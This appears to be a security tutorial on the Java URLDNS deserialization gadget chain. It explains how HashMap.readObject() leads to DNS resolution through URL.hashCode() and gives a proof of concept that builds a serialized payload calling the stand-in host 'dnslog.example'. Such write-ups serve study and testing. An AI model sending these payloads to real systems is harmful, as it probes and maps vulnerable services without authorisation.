Exploiting HashMap Deserialization via URLDNS Chain
Exploiting HashMap Deserialization via URLDNS Chain
Deserializing a HashMap instance triggers its readObject() method. The vulnerability lies in how this method processes keys during deserialization. Specifically, it recalculates hash values for all keys by invoking each key's hashCode() method.
When a key is of type URL, its hashCode() implementation initiates DNS resolution. The full call chain is:
HashMap.readObject()
HashMap.hash()
URL.hashCode()
URLStreamHandler.hashCode()
URLStreamHandler.getHostAddress()
InetAddress.getByName()
Implemantation Challenges
Two issues arise when constructing the payload:
- The
URLclass caches its hash code. By default,URL.hashCodeis-1(uncached). After the first computation, the value is cached. - The
put()operation during payload construction triggers DNS resolution prematurely, making it difficult to distinguish between pre-serialization and deserialization DNS requests.
Solution
To prevent DNS resolution during put():
- Before adding the URL to the HashMap, use reflection to set
URL.hashCodeto a non--1value (e.g.,0). This bypasses hash computation duringput(). - After
put(), resetURL.hashCodeto-1using reflection. This ensures hash recalculation occurs during deserialization.
Proof of Concept
URL url = new URL("http://dnslog.example");
HashMap<URL, String> map = new HashMap<>();
// Prevent DNS during put()
Field hashCodeField = URL.class.getDeclaredField("hashCode");
hashCodeField.setAccessible(true);
hashCodeField.set(url, 0); // Set non--1 value to bypass computation
map.put(url, "payload");
// Reset for deserialization trigger
hashCodeField.set(url, -1);
// Serialize
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(map);
oos.close();
// Deserialize to trigger DNS
ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bis);
ois.readObject();
Hash Caching Mechanism
The initial hashCode value of -1 serves as a cache flag. The first hashCode() call computes and caches the value; subsequent calls return the cached value.